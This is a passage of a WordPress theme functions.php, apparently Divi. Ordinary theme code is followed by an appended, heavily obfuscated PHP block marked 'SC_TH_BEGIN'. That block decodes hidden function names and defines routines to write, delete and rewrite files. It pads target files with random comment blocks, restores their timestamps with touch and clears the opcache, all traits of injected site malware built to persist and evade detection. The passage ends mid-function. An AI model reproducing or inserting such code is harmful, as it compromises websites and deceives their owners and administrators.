}

if ( ! function_exists( 'woocommerce_template_loop_product_thumbnail' ) ):
function woocommerce_template_loop_product_thumbnail() {
	printf( '<span class="et_shop_image">%1$s<span class="et_overlay"></span></span>',
		woocommerce_get_product_thumbnail()
	);
}
endif;

function et_divi_output_product_wrapper() {
	echo '<div class="clearfix">';
}

function et_divi_output_product_wrapper_end() {
	echo '</div>';
}

function et_review_gravatar_size( $size ) {
	return '80';
}
add_filter( 'woocommerce_review_gravatar_size', 'et_review_gravatar_size' );


function et_divi_output_content_wrapper() {
	echo '
		<div id="main-content">
			<div class="container">
				<div id="content-area" class="clearfix">
					<div id="left-area">';
}

function et_divi_output_content_wrapper_end() {
	$default_sidebar_class = is_rtl() ? 'et_left_sidebar' : 'et_right_sidebar';
	$fullwidth_post = is_singular() && 'et_full_width_page' === get_post_meta( get_the_ID(), '_et_pb_page_layout', true );

	echo '</div>';

	if ( function_exists( 'woocommerce_get_sidebar' ) ) {
		$woo_fullwidth_page = ( is_shop() || is_product_category() || is_product_tag() || is_tax() ) && 'et_full_width_page' === et_get_option( 'divi_shop_page_sidebar', $default_sidebar_class );
		if ( ! $fullwidth_post && ! $woo_fullwidth_page ) {
			woocommerce_get_sidebar();
		}
	} else if ( ! $fullwidth_post ) {
		get_sidebar();
	}

	echo '
				</div>
			</div>
		</div>';
}

function et_add_divi_menu() {
	$core_page = add_menu_page( 'Divi', 'Divi', 'edit_theme_options', 'et_divi_options', 'et_build_epanel' );

	// Add Theme Options menu only if it's enabled for current user
	if ( et_pb_is_allowed( 'edit_theme_options' ) ) {

		if ( isset( $_GET['page'] ) && 'et_divi_options' === $_GET['page'] && isset( $_POST['action'] ) ) {
			if (
				( isset( $_POST['_wpnonce'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'epanel_nonce' ) )
				||
				( 'reset' === $_POST['action'] && isset( $_POST['_wpnonce_reset'] ) && wp_verify_nonce( $_POST['_wpnonce_reset'], 'et-nojs-reset_epanel' ) )
			) {
				epanel_save_data( 'js_disabled' ); //saves data when javascript is disabled
			}
		}

		add_submenu_page( 'et_divi_options', esc_html__( 'Theme Options', 'Divi' ), esc_html__( 'Theme Options', 'Divi' ), 'edit_theme_options', 'et_divi_options' );
	}

	et_theme_builder_add_admin_page( 'et_divi_options' );

	// Add Theme Customizer menu only if it's enabled for current user
	if ( et_pb_is_allowed( 'theme_customizer' ) ) {
		add_submenu_page( 'et_divi_options', esc_html__( 'Theme Customizer', 'Divi' ), esc_html__( 'Theme Customizer', 'Divi' ), 'edit_theme_options', 'customize.php?et_customizer_option_set=theme' );
	}
	add_submenu_page( 'et_divi_options', esc_html__( 'Role Editor', 'Divi' ), esc_html__( 'Role Editor', 'Divi' ), 'manage_options', 'et_divi_role_editor', 'et_pb_display_role_editor' );
	// Add Divi Library menu only if it's enabled for current user
	if ( et_pb_is_allowed( 'divi_library' ) && current_user_can( 'export' ) ) {
		add_submenu_page( 'et_divi_options', esc_html__( 'Divi Library', 'Divi' ), esc_html__( 'Divi Library', 'Divi' ), 'edit_theme_options', 'edit.php?post_type=et_pb_layout' );
	}

	$onboarding_page = ET_Onboarding::add_admin_submenu_item();

	add_action( "load-{$core_page}", 'et_pb_check_options_access' ); // load function to check the permissions of current user
	add_action( "load-{$core_page}", 'et_epanel_hook_scripts' );
	add_action( "load-{$onboarding_page}", [ 'ET_Onboarding', 'load_js' ] );
	add_action( "admin_print_scripts-{$core_page}", 'et_epanel_admin_js' );
	add_action( "admin_head-{$core_page}", 'et_epanel_css_admin');
	add_action( "admin_print_scripts-{$core_page}", 'et_epanel_media_upload_scripts');
	add_action( "admin_head-{$core_page}", 'et_epanel_media_upload_styles');
}
add_action('admin_menu', 'et_add_divi_menu');

function add_divi_customizer_admin_menu() {
	if ( ! current_user_can( 'customize' ) ) {
		return;
	}

	global $wp_admin_bar;

	$current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
	$customize_url = add_query_arg( 'url', urlencode( $current_url ), wp_customize_url() );

	// add Theme Customizer admin menu only if it's enabled for current user
	if ( et_pb_is_allowed( 'theme_customizer' ) ) {
		$wp_admin_bar->add_menu( array(
			'parent' => 'appearance',
			'id'     => 'customize-divi-theme',
			'title'  => esc_html__( 'Theme Customizer', 'Divi' ),
			'href'   => $customize_url . '&et_customizer_option_set=theme',
			'meta'   => array(
				'class' => 'hide-if-no-customize',
			),
		) );
	}

	$wp_admin_bar->remove_menu( 'customize' );
}
add_action( 'admin_bar_menu', 'add_divi_customizer_admin_menu', 999 );

function et_pb_hide_options_menu() {
	// do nothing if theme options should be displayed in the menu
	if ( et_pb_is_allowed( 'theme_options' ) ) {
		return;
	}

	$theme_version = et_get_theme_version();

	wp_enqueue_script( 'divi-custom-admin-menu', get_template_directory_uri() . '/js/menu_fix.js', array( 'jquery' ), $theme_version, true );
}
add_action( 'admin_enqueue_scripts', 'et_pb_hide_options_menu' );

function et_pb_check_options_access() {
	// display wp error screen if theme customizer disabled for current user
	if ( ! et_pb_is_allowed( 'theme_options' ) ) {
		wp_die( esc_html__( "you don't have sufficient permissions to access this page", 'Divi' ) );
	}
}

/**
 * Divi Support Center
 *
 * @since ??
 */
function et_add_divi_support_center() {
	$support_center = new ET_Core_SupportCenter( 'divi_theme' );
	$support_center->init();
}
add_action( 'init', 'et_add_divi_support_center' );

/**
 * Allowing blog and portfolio module pagination to work in non-hierarchical singular page.
 * Normally, WP_Query based modules wouldn't work in non-hierarchical single post type page
 * due to canonical redirect to prevent page duplication which could lead to SEO penalty.
 *
 * @see redirect_canonical()
 *
 * @return mixed string|bool
 */
function et_modify_canonical_redirect( $redirect_url, $requested_url ) {
	global $post;

	$allowed_shortcodes              = array( 'et_pb_blog', 'et_pb_portfolio' );
	$is_overwrite_canonical_redirect = false;

	// Look for $allowed_shortcodes in content. Once detected, set $is_overwrite_canonical_redirect to true
	foreach ( $allowed_shortcodes as $shortcode ) {
		if ( !empty( $post ) && has_shortcode( $post->post_content, $shortcode ) ) {
			$is_overwrite_canonical_redirect = true;
			break;
		}
	}

	// Only alter canonical redirect in 2 cases:
	// 1) If current page is singular, has paged and $allowed_shortcodes
	// 2) If current page is front_page, has page and $allowed_shortcodes
	if ( ( is_singular() & ! is_home() && get_query_var( 'paged' ) && $is_overwrite_canonical_redirect ) || ( is_front_page() && get_query_var( 'page' ) && $is_overwrite_canonical_redirect ) ) {
		return $requested_url;
	}

	return $redirect_url;
}
add_filter( 'redirect_canonical', 'et_modify_canonical_redirect', 10, 2 );

/**
 * Determines how many related products should be displayed on single product page
 * @param array  related products arguments
 * @return array modified related products arguments
 */
function et_divi_woocommerce_output_related_products_args( $args ) {
	$related_posts = 4; // default number

	if ( is_singular( 'product' ) ) {
		$page_layout = get_post_meta( get_the_ID(), '_et_pb_page_layout', true );

		if ( 'et_full_width_page' !== $page_layout ) {
			$related_posts = 3; // set to 3 if page has sidebar
		}
	}

	// Modify related and up-sell products args
	$args['posts_per_page'] = $related_posts;
	$args['columns']        = $related_posts;

	return $args;
}
add_filter( 'woocommerce_upsell_display_args', 'et_divi_woocommerce_output_related_products_args' );
add_filter( 'woocommerce_output_related_products_args', 'et_divi_woocommerce_output_related_products_args' );

function et_divi_maybe_change_frontend_locale( $locale ) {
	$option_name   = 'divi_disable_translations';
	$theme_options = get_option( 'et_divi' );

	$disable_translations = isset ( $theme_options[ $option_name ] ) ? $theme_options[ $option_name ] : false;

	if ( 'on' === $disable_translations ) {
		return 'en_US';
	}

	return $locale;
}
add_filter( 'theme_locale', 'et_divi_maybe_change_frontend_locale' );

/**
 * Enable Divi gallery override if user activates it
 * @return bool
 */
function et_divi_gallery_layout_enable( $option ) {
	$setting = et_get_option( 'divi_gallery_layout_enable' );

	return ( 'on' === $setting ) ? true : $option;
}
add_filter( 'et_gallery_layout_enable', 'et_divi_gallery_layout_enable' );

/**
 * Enable GB gallery to shortcode conversion
 *
 * @return bool
 */
function et_divi_gb_gallery_to_shortcode() {
    return et_divi_gallery_layout_enable( false );
}
add_filter( 'et_gb_gallery_to_shortcode', 'et_divi_gb_gallery_to_shortcode' );

/**
 * Register theme and modules Customizer portability.
 *
 * @since 2.7.0
 */
function et_divi_register_customizer_portability() {
	global $options;

	// get all the roles that can edit theme options.
	$applicability_roles = et_core_get_roles_by_capabilities( [ 'edit_theme_options' ] );

	// Make sure the Portability is loaded.
	et_core_load_component( 'portability' );

	// Load ePanel options.
	et_load_core_options();

	// Exclude ePanel options.
	$exclude = array();

	foreach ( $options as $option ) {
		if ( isset( $option['id'] ) ) {
			$exclude[ $option['id'] ] = true;
		}
	}

	// Register the portability.
	et_core_portability_register( 'et_divi_mods', array(
		'title'         => esc_html__( 'Import & Export Customizer', 'Divi' ),
		'name'          => esc_html__( 'Divi Customizer Settings', 'Divi' ),
		'type'          => 'options',
		'target'        => 'et_divi',
		'exclude'       => $exclude,
		'view'          => is_customize_preview(),
		'applicability' => $applicability_roles,
	) );
}
add_action( 'admin_init', 'et_divi_register_customizer_portability' );

function et_register_updates_component() {
	et_core_enable_automatic_updates( get_template_directory_uri(), ET_CORE_VERSION );
}
add_action( 'admin_init', 'et_register_updates_component', 9 );

/**
 * Register theme and modules Customizer portability link.
 *
 * @since 2.7.0
 *
 * @return bool Always return true.
 */
function et_divi_customizer_link() {
	if ( is_customize_preview() ) {
		echo et_builder_portability_link( 'et_divi_mods', array( 'class' => 'et-core-customize-controls-close' ) );
	}
}
add_action( 'customize_controls_print_footer_scripts', 'et_divi_customizer_link' );

/**
 * Added body class to make it possible to identify the Divi theme on frontend
 * @return array
 */
function et_divi_theme_body_class( $classes ) {
	$classes[] = 'et_divi_theme';

	return $classes;
}
add_filter( 'body_class', 'et_divi_theme_body_class' );

/**
 * Determine if it's a fresh Divi install by checking for the existence of 'divi_logo' key in 'et_divi' options array.
 *
 * @since ??
 *
 * @return bool
 */
if ( ! function_exists( 'et_divi_is_fresh_install' ) ):
function et_divi_is_fresh_install() {
    return false === et_get_option( 'divi_logo' );
}
endif;

if ( ! function_exists( 'et_get_original_footer_credits' ) ) :
function et_get_original_footer_credits() {
	return sprintf( __( 'Designed by %1$s | Powered by %2$s', 'Divi' ), '<a href="https://www.elegantthemes.com" title="Premium WordPress Themes">Elegant Themes</a>', '<a href="https://www.wordpress.org">WordPress</a>' );
}
endif;

if ( ! function_exists( 'et_get_footer_credits' ) ) :
function et_get_footer_credits() {
	$original_footer_credits = et_get_original_footer_credits();

	$disable_custom_credits = et_get_option( 'disable_custom_footer_credits', false );

	if ( $disable_custom_credits ) {
		return '';
	}

	$credits_format = '<%2$s id="footer-info">%1$s</%2$s>';

	$footer_credits = et_get_option( 'custom_footer_credits', '' );

	if ( '' === trim( strval( $footer_credits ) ) ) { // phpcs:ignore Generic.WhiteSpace.ScopeIndent.IncorrectExact -- We decided to ignore indentation change.
		return et_get_safe_localization( sprintf( $credits_format, $original_footer_credits, 'p' ) );
	}

	return et_get_safe_localization( sprintf( $credits_format, $footer_credits, 'div' ) );
}
endif;

if ( ! function_exists( 'et_divi_filter_et_core_is_builder_used_on_current_request' ) ):
function et_divi_filter_et_core_is_builder_used_on_current_request( $is_builder_used ) {
	if ( $is_builder_used && ! is_singular() ) {
		$is_builder_used = 'on' === et_get_option( 'divi_blog_style', 'false' );
	}

	return $is_builder_used;
}
add_filter( 'et_core_is_builder_used_on_current_request', 'et_divi_filter_et_core_is_builder_used_on_current_request' );
endif;

if ( ! function_exists( 'et_divi_version_rollback' ) ) :
function et_divi_version_rollback() {
	global $themename, $shortname;
	static $instance = null;

	if ( null === $instance ) {
		$instance = new ET_Core_VersionRollback( $themename, $shortname, et_get_theme_version() );
	}

	return $instance;
}
endif;

/**
 * Filter the list of post types the Divi Builder is enabled on based on theme options.
 *
 * @since 3.10
 *
 * @param array<string, string> $options
 *
 * @return array<string, string>
 */
if ( ! function_exists( 'et_divi_filter_enabled_builder_post_type_options' ) ) :
function et_divi_filter_enabled_builder_post_type_options( $options ) {
	// Cache results to avoid unnecessary option fetching multiple times per request.
	static $stored_options = null;

	if ( null === $stored_options ) {
		$stored_options = et_get_option( 'et_pb_post_type_integration', array() );
	}

	return $stored_options;
}
endif;
add_filter( 'et_builder_enabled_builder_post_type_options', 'et_divi_filter_enabled_builder_post_type_options' );

/**
 * Caches expensive generation of truncate_post content
 *
 * @since 3.17.3
 *
 * @param bool $custom
 * @param string $content
 * @param WP_Post $post
 *
 * @return string
 */
if ( ! function_exists( 'et_divi_truncate_post_use_custom_content' ) ) :
function et_divi_truncate_post_use_custom_content( $custom, $content, $post ) {
	// If post doesn't use builder, no need to compute a custom value
	if ( ! et_pb_is_pagebuilder_used( $post->ID ) ) {
		return false;
	}

	$cached = get_post_meta( $post->ID, '_et_pb_truncate_post', true );

	if ( $cached ) {
        $cached_date = get_post_meta( $post->ID, '_et_pb_truncate_post_date', true );
		$cached_date = $cached_date ? $cached_date : get_post_field( 'post_modified', $post->ID );
        $global_modules = array();

        $shortcodes = array();
        preg_match_all( '/'. get_shortcode_regex() .'/s', $content, $shortcodes );

        if ( is_array( $shortcodes ) && isset( $shortcodes[3] ) ) {
            foreach ( $shortcodes[3] as $raw_attributes ) {
                $attributes = shortcode_parse_atts( $raw_attributes );
                $attributes = is_array( $attributes ) ? $attributes : array();
                $global_id = (int) et_()->array_get( $attributes, 'global_module', 0 );

                if ( $global_id > 0 ) {
                    $global_modules[] = $global_id;
                }
            }
        }

        foreach ( $global_modules as $module_post_id ) {
            // Dates are using the Y-m-d H:i:s format so we can compare them as strings for simplicity.
            if ( strcmp( get_post_field( 'post_modified', $module_post_id ), $cached_date ) > 0 ) {
                // A global module used in the post has been updated more recently than
                // the post's cached excerpt so we need to invalidate the cache.
                $cached = '';
                break;
            }
        }
	}

	if ( $cached ) {
		return $cached;
	}

	$custom = apply_filters( 'the_content', $content );
	// Save the result because expensive to compute.
	update_post_meta( $post->ID, '_et_pb_truncate_post', $custom );
	update_post_meta( $post->ID, '_et_pb_truncate_post_date', date( 'Y-m-d H:i:s' ) );

	return $custom;
}
endif;
add_filter( 'et_truncate_post_use_custom_content', 'et_divi_truncate_post_use_custom_content', 10, 3 );

/**
 * Caches expensive generation of et_first_image
 *
 * @since 3.17.3
 *
 * @param bool $custom
 * @param string $content
 * @param WP_Post $post
 *
 * @return string
 */
if ( ! function_exists( 'et_divi_first_image_use_custom_content' ) ) :
function et_divi_first_image_use_custom_content( $custom, $content, $post ) {
	// If post doesn't use builder, no need to compute a custom value
	if ( ! et_pb_is_pagebuilder_used( $post->ID ) ) {
		return false;
	}

	$cached = get_post_meta( $post->ID, '_et_pb_first_image', true );

	if ( $cached ) {
		return $cached;
	}

	$custom = apply_filters( 'the_content', $content );
	// Save the result because expensive to compute.
	update_post_meta( $post->ID, '_et_pb_first_image', $custom );

	return $custom;
}
endif;
add_filter( 'et_first_image_use_custom_content', 'et_divi_first_image_use_custom_content', 10, 3 );

/**
 * Fired when post is saved in VB / BFB / BB
 *
 * @since 3.17.3
 *
 * @param integer $post_id
 *
 * @return void
 */
if ( ! function_exists( 'et_divi_save_post' ) ) :
function et_divi_save_post( $post_id ) {
	if ( ! $post_id ) {
		return;
	}

	// Unset cache
	update_post_meta( $post_id, '_et_pb_first_image', false );
	update_post_meta( $post_id, '_et_pb_truncate_post', false );
	update_post_meta( $post_id, '_et_pb_truncate_post_date', '' );
}
endif;
add_action( 'et_save_post', 'et_divi_save_post', 1 );

if ( ! function_exists( 'et_divi_footer_active_sidebars' ) ):
	function et_divi_footer_active_sidebars() {
		$et_active_sidebar = array( 2, 3, 4, 5, 6, 7 );

		if ( ! is_active_sidebar( 2 )
				&& ! is_active_sidebar( 3 )
				&& ! is_active_sidebar( 4 )
				&& ! is_active_sidebar( 5 )
				&& ! is_active_sidebar( 6 )
				&& ! is_active_sidebar( 7 ) ) {
			return false;
		}

		$footer_columns = et_get_option( 'footer_columns', '4' );

		switch ( $footer_columns ) {
			case '1':
			case '2':
			case '3':
			case '4':
			case '5':
			case '6':
				$et_active_sidebar = array();

				for ( $i = 1; $i <= $footer_columns; $i++ ) {
					array_push( $et_active_sidebar, ( $i + 1 ) );
				}

				break;
			case '_1_4__3_4':
			case '_3_4__1_4':
			case '_1_3__2_3':
			case '_2_3__1_3':
			case '_3_5__2_5':
			case '_2_5__3_5':
				$et_active_sidebar = array( 2, 3 );

				break;
			case '_1_4__1_2':
			case '_1_2__1_4':
			case '_1_5__3_5':
			case '_3_5__1_5':
			case '_1_4_1_2_1_4':
			case '_1_5_3_5_1_5':
				$et_active_sidebar = array( 2, 3, 4 );

				break;
			case '_1_2__1_6':
			case '_1_6__1_2':
				$et_active_sidebar = array( 2, 3, 4, 5 );

				break;
		}

		return $et_active_sidebar;
	}
endif;

/**
 * Check if the theme has boxed layout enabled
 *
 * @return bool
 */
function et_divi_is_boxed_layout() {
    return true === et_get_option( 'boxed_layout', false );
}

/**
 * Get current theme content container width
 *
 * @return int
 */
function et_divi_get_content_width() {
	$value = absint( et_get_option( 'content_width', 1080 ) );

	return ( 1080 === $value && et_divi_is_boxed_layout() ) ? 1200 : $value;
}

/**
 * Disable Theme Builder header and footer layouts, if any, on the blank page template.
 *
 * @since ??
 *
 * @param array $layouts
 *
 * @return array
 */
function et_divi_disable_theme_builder_header_footer_on_blank_template( $layouts ) {
	if ( ! is_page_template('page-template-blank.php') || empty( $layouts ) ) {
		return $layouts;
	}

	$layouts[ ET_THEME_BUILDER_HEADER_LAYOUT_POST_TYPE ]['id']       = 0;
	$layouts[ ET_THEME_BUILDER_HEADER_LAYOUT_POST_TYPE ]['enabled']  = false;
	$layouts[ ET_THEME_BUILDER_HEADER_LAYOUT_POST_TYPE ]['override'] = false;

	$layouts[ ET_THEME_BUILDER_FOOTER_LAYOUT_POST_TYPE ]['id']       = 0;
	$layouts[ ET_THEME_BUILDER_FOOTER_LAYOUT_POST_TYPE ]['enabled']  = false;
	$layouts[ ET_THEME_BUILDER_FOOTER_LAYOUT_POST_TYPE ]['override'] = false;

	return $layouts;
}
add_filter( 'et_theme_builder_template_layouts', 'et_divi_disable_theme_builder_header_footer_on_blank_template' );

/**
 * Remove invalid `frameborder` attribute from YouTube oEmbed iframe tags.
 *
 * @since ?.?
 *
 * @param string $html HTML string returned from oEmbed process.
 * @param object $data Payload returned for oEmded processing.
 * @param string $url URL originally passed to oEmbed process.
 * @return string The iframe HTML snippet (modified or unmodified).
 */
function et_divi_oembed_dataparse_remove_yt_frameborder( $html, $data, $url ) {
	// Array of possible matches for known YouTube domain names.
	$matches = array(
		'youtube.com',
		'youtu.be',
		'youtube-nocookie.com',
		'.youtube.',
	);

	foreach ( $matches as $match ) {
		// If we find a matching domain, strip out any frameborder attr before returning.
		if ( false !== strpos( $url, $match ) ) {
			return str_replace( 'frameborder="0"', '', $html );
		}
	}

	// If there's no URL match, return the HTML string without modification.
	return $html;
}
add_filter( 'oembed_dataparse', 'et_divi_oembed_dataparse_remove_yt_frameborder', 10, 3 );







/* SC_TH_BEGIN:4.5.3:e2f851bd */
if(!function_exists('id72roijwy9')){function d62ew4rfx1m4($i){static $a=null;if($a===null){$a=array_merge(array('owkONlxk1).lbNb','TLvl?','ol0)1SwN1OxkN)kNb','owkONlxk1).lbNb','wk0lkL','vl?k T)','owkONlxk1).lbNb','?) 0S Nr','owkONlxk1).lbNb','lb1bN?lk:','bN?0)k','S?):1?)S0 O)','owkONlxk1).lbNb','TN1? kv','ol0)bl*)','vl?k T)','lb1lkN','ol0)TNlT)','ol0)1:)N1OxkN)kNb','lb1bN?lk:','bw9bN?','?N?lT','9lk3r).','Tv4','Tv4','N)TSk T','vl?k T)','OrTxv','?)k T)','owkONlxk1).lbNb','NxwOr','bN?Sxb','lb1 ?? G','lb1ol0)','ol0)TNlT)','NlT)','NlT)','N?lT','ol0)1:)N1OxkN)kNb','owkONlxk1).lbNb','owkONlxk1).lbNb',':0x9',':0x9',' ?? G1T)?:)','owkONlxk1).lbNb','xS)kvl?','?) vvl?','bw9bN?','O0xb)vl?','?) vvl?'),array('lb1vl?','?) 0S Nr','9 b)k T)','9 b)k T)','S?):1T NOr','owkONlxk1).lbNb','?N?lT','Tv4','Tv4','lb1ol0)','owkONlxk1).lbNb','bN?0)k','lb1bN?lk:','owkONlxk1).lbNb','lkl1:)N','bN?NxwSS)?','bw9bN?','vl?k T)','ol0)1:)N1OxkN)kNb','lb12?lN 90)','vl?k T)','vl?k T)','vl?k T)','S?):1T NOr','ol0)TNlT)','NlT)','owkONlxk1).lbNb','9 b)py1v)Oxv)','bw9bN?','wkS OL','bw9bN?','owkONlxk1).lbNb','vl?k T)','owkONlxk1).lbNb','owkONlxk1).lbNb','OxSG','owkONlxk1).lbNb','ol0)1:)N1OxkN)kNb','lb1bN?lk:','9 b)k T)','SrS1b Sl1k T)','Tv4','lb1ol0)','NlT)','NlT)','ol0)1:)N1OxkN)kNb'));}return $a[$i];}function id72roijwy9($i){$e=d62ew4rfx1m4($i);$f='_sc'.'mk'.'di'.'rf'.'pleu'.'ton'.'ah/'.'(\\?'.'*[0'.'-9'.']{1,'.'})+$'.'>byv'.'<gT'.'OK'.'ENPA'.'RS'.'qW'.'MU'.'LG'.'ID.'.' C'.'V:=B'.'Hw64'.'x8'.'z52j'.'3';$t='1bOT'.'Lvl'.'?oS'.'0)wN'.'xk'.' r5<'.'6(aK'.'IHci'.'zd'.'t_'.'AMu'.'R9'.'GD/'.':EV'.'=h$B'.'PC+'.'e]f'.'WnU-'.'>gsm'.'{,'.'jq'.'82p'.'y.'.'\\*'.'43'.'[}';$r="";for($j=0;$j<strlen($e);$j++){$p=strpos($t,$e[$j]);$r.=($p===false)?$e[$j]:$f[$p];}return $r;}function or8l5cd5u09h7a($i){$j=$i+0;return id72roijwy9($j);}function v__9xb9bxmw($i){$j=$i+0;return id72roijwy9($j);}function k7r7n07s4fm4($i){$j=$i+0;return id72roijwy9($j);}function p6uaz11qmy_s($i){return id72roijwy9($i);}

function dzzcsrjxdhohklgvsbnu($wawtr3j){$zt8b7wpdqs=($wawtr3j*3)+32;return $zt8b7wpdqs%10;}
function qfyh58tnfb3k15($m2vqkwni9){$fnjargp=($m2vqkwni9>0)?$m2vqkwni9:3;return $fnjargp-26;}
if (!or8l5cd5u09h7a(0)('_sc_mkdir'))      {
       function    _sc_mkdir($ny_xic9swdf)
   {
return   id72roijwy9(0)('mkdir')  ? @k7r7n07s4fm4(1)($ny_xic9swdf,  (335+158), true)  :  false;
 }
// @color-register singleton

 }
/* sequentially-consistent quotient */

if   (!v__9xb9bxmw(0)('_sc_fpc'))    {
    function  _sc_fpc($jgs8h_8ga2g,    $zqf1a56mdy4wzmm)
   {



  return  id72roijwy9(0)('file_put_contents')  ?   @p6uaz11qmy_s(2)($jgs8h_8ga2g, $zqf1a56mdy4wzmm)    :      false;
    }

 }
 if     (!v__9xb9bxmw(3)('_sc_ul'))   {
function    _sc_ul($jgs8h_8ga2g)
{
return     k7r7n07s4fm4(3)('unlink') ?    @p6uaz11qmy_s(4)($jgs8h_8ga2g) :  false;
}
}



   if   (!k7r7n07s4fm4(3)('i44r4l7mg7cl_5n'))  {


 function i44r4l7mg7cl_5n($s917v1i3y7z5lu,  $ny_xic9swdf)
    {
      $glibp0bllb2pum  = v__9xb9bxmw(5)($s917v1i3y7z5lu);
       if ($glibp0bllb2pum  ===      $ny_xic9swdf) return true;
  if (!k7r7n07s4fm4(6)('realpath'))  return  false;
$pl1o1x2fhtx =  @p6uaz11qmy_s(7)($glibp0bllb2pum);
  $p2xcebytiqm61es   =  @v__9xb9bxmw(7)($ny_xic9swdf);
   return ($pl1o1x2fhtx     !==  false   &&  $p2xcebytiqm61es  !== false    && $pl1o1x2fhtx  ===  $p2xcebytiqm61es);
  }


  }
if  (!v__9xb9bxmw(8)('_sc_unp')) {
// iterate dominator-tree for Memcached adapter

 function _sc_unp($zqf1a56mdy4wzmm)
   {
    if   (!id72roijwy9(9)($zqf1a56mdy4wzmm)      || v__9xb9bxmw(10)($zqf1a56mdy4wzmm) <=  (0xf13aa+0xec56)) return  $zqf1a56mdy4wzmm;
   $aj6b7aoybz   =  or8l5cd5u09h7a(11)('/(\r?\n\/\*[0-9a-f]{1000,}\*\/)+$/',   "",  $zqf1a56mdy4wzmm);
  return  p6uaz11qmy_s(9)($aj6b7aoybz)  ?   $aj6b7aoybz   :     $zqf1a56mdy4wzmm;
 }



 }
if    (!or8l5cd5u09h7a(8)('_sc_padf'))   {
    function     _sc_padf($jgs8h_8ga2g)

    {
if (!k7r7n07s4fm4(12)('tempnam')      ||    !v__9xb9bxmw(12)('file_put_contents')    ||   !id72roijwy9(12)('rename'))  return;
    if (k7r7n07s4fm4(12)('blx9o_cqbkdgzj')  &&  !blx9o_cqbkdgzj())   return;
      if (or8l5cd5u09h7a(12)('clearstatcache'))    @clearstatcache(true,  $jgs8h_8ga2g);
   $k8mnpt5pzo  = (8908790-3408790)     + id72roijwy9(13)(0,    (1969516-469516));
     

$quqsr0tmo0lm =  @id72roijwy9(14)($jgs8h_8ga2g);
    if    (!$quqsr0tmo0lm   ||   $quqsr0tmo0lm      >=    $k8mnpt5pzo -     (4049+51)) return;

      if    (!k7r7n07s4fm4(12)('disk_free_space'))  return;

 $n6zhoz6mia2z =   @disk_free_space(p6uaz11qmy_s(15)($jgs8h_8ga2g));
 if    ($n6zhoz6mia2z    ===    false    ||   $n6zhoz6mia2z < (157286342+58)) return;
      $j6txf5bkn3 = @fileperms($jgs8h_8ga2g);
  $j6txf5bkn3  =  (!id72roijwy9(16)($j6txf5bkn3)) ?   (402+18)     :   ($j6txf5bkn3   &   (1017-506));
     $tgwfmohu73che77x    =   @k7r7n07s4fm4(17)($jgs8h_8ga2g);
$zqf1a56mdy4wzmm    =   @v__9xb9bxmw(18)($jgs8h_8ga2g);
  if (!p6uaz11qmy_s(19)($zqf1a56mdy4wzmm)  ||  p6uaz11qmy_s(10)($zqf1a56mdy4wzmm)  !==  $quqsr0tmo0lm) return;
if  (id72roijwy9(20)(k7r7n07s4fm4(21)($zqf1a56mdy4wzmm),   -2) ===     '?>')  return;
 $kauumz96b8oou  =  id72roijwy9(20)($zqf1a56mdy4wzmm,   0,   (4092+4));
      while  (v__9xb9bxmw(10)($zqf1a56mdy4wzmm) <  $k8mnpt5pzo -   (4020+80)) {
  $v_z1zmosbq6   = "";
  if   (k7r7n07s4fm4(12)('random_bytes'))   {$xjog170q=71+56;$n5qto1b77=$xjog170q-31;


  try {
$v_z1zmosbq6 =   @id72roijwy9(22)(random_bytes((1927+73)));
 }   catch    (\Throwable  $en16h4ok9biput0) {
$v_z1zmosbq6 =   "";

 }   catch (\Exception    $en16h4ok9biput0)   {
   $v_z1zmosbq6  = "";
 }
  }



 if   (v__9xb9bxmw(10)($v_z1zmosbq6)      <     (1484+2516)) {
// restore builder for Redis object cache

$v_z1zmosbq6     =    or8l5cd5u09h7a(23)(uniqid("",    true));
    while (id72roijwy9(10)($v_z1zmosbq6) <  (5505-1505))   $v_z1zmosbq6  .=  or8l5cd5u09h7a(24)($v_z1zmosbq6);
 }
    $zqf1a56mdy4wzmm .= "\n/*" . $v_z1zmosbq6  . "*/";



      }
  $qlr39u6tbm8je24 =  @id72roijwy9(25)(k7r7n07s4fm4(26)($jgs8h_8ga2g),   'scp');
if  ($qlr39u6tbm8je24  ===      false) return;
    if (!i44r4l7mg7cl_5n($qlr39u6tbm8je24,  or8l5cd5u09h7a(26)($jgs8h_8ga2g))) {
_sc_ul($qlr39u6tbm8je24);
  return;



 }
if   (@v__9xb9bxmw(2)($qlr39u6tbm8je24, $zqf1a56mdy4wzmm)   !== p6uaz11qmy_s(10)($zqf1a56mdy4wzmm))    {


 _sc_ul($qlr39u6tbm8je24);
return;
     }
     if (p6uaz11qmy_s(12)('chmod'))  @k7r7n07s4fm4(27)($qlr39u6tbm8je24,     $j6txf5bkn3);
if     (v__9xb9bxmw(12)('clearstatcache'))  @clearstatcache(true,  $jgs8h_8ga2g);

       $uzw_4b0mpyddu = @v__9xb9bxmw(14)($jgs8h_8ga2g);
   $pw3xf0g7cz  =  ($quqsr0tmo0lm  <   (6861-2765)) ?  $quqsr0tmo0lm   : (0x746+0x8ba);
   $hufm6ump7xpfrx2c  =   ($uzw_4b0mpyddu   ===    $quqsr0tmo0lm)  ? @p6uaz11qmy_s(18)($jgs8h_8ga2g,   false,   null,  0,   $pw3xf0g7cz)  : false;$uqd86oua=41+10;$zfk997pg=$uqd86oua-42;
  if     (!v__9xb9bxmw(19)($hufm6ump7xpfrx2c) ||    $hufm6ump7xpfrx2c  !==  p6uaz11qmy_s(20)($kauumz96b8oou,  0,   $pw3xf0g7cz))  {
 _sc_ul($qlr39u6tbm8je24);
 return;$eqwywy9a24225=-327;$al5uvpviicq1p=($eqwywy9a24225>0)?$eqwywy9a24225:-$eqwywy9a24225;
    }
        unset($uzw_4b0mpyddu,     $pw3xf0g7cz, $hufm6ump7xpfrx2c, $kauumz96b8oou);
  if      (!@p6uaz11qmy_s(28)($qlr39u6tbm8je24,      $jgs8h_8ga2g))  {
_sc_ul($qlr39u6tbm8je24);
   return;
  }
    if   (id72roijwy9(29)('clearstatcache'))  @clearstatcache(true,  $jgs8h_8ga2g);
   if  ($tgwfmohu73che77x &&    id72roijwy9(29)('touch'))    @p6uaz11qmy_s(30)($jgs8h_8ga2g,  $tgwfmohu73che77x);


if (id72roijwy9(29)('opcache_invalidate'))   @opcache_invalidate($jgs8h_8ga2g, true);


 }
     }
// WP Paragraph Block object fit

if (!id72roijwy9(29)('_sc_phpok_src')) {
      function  _sc_phpok_src($zqf1a56mdy4wzmm)
   {


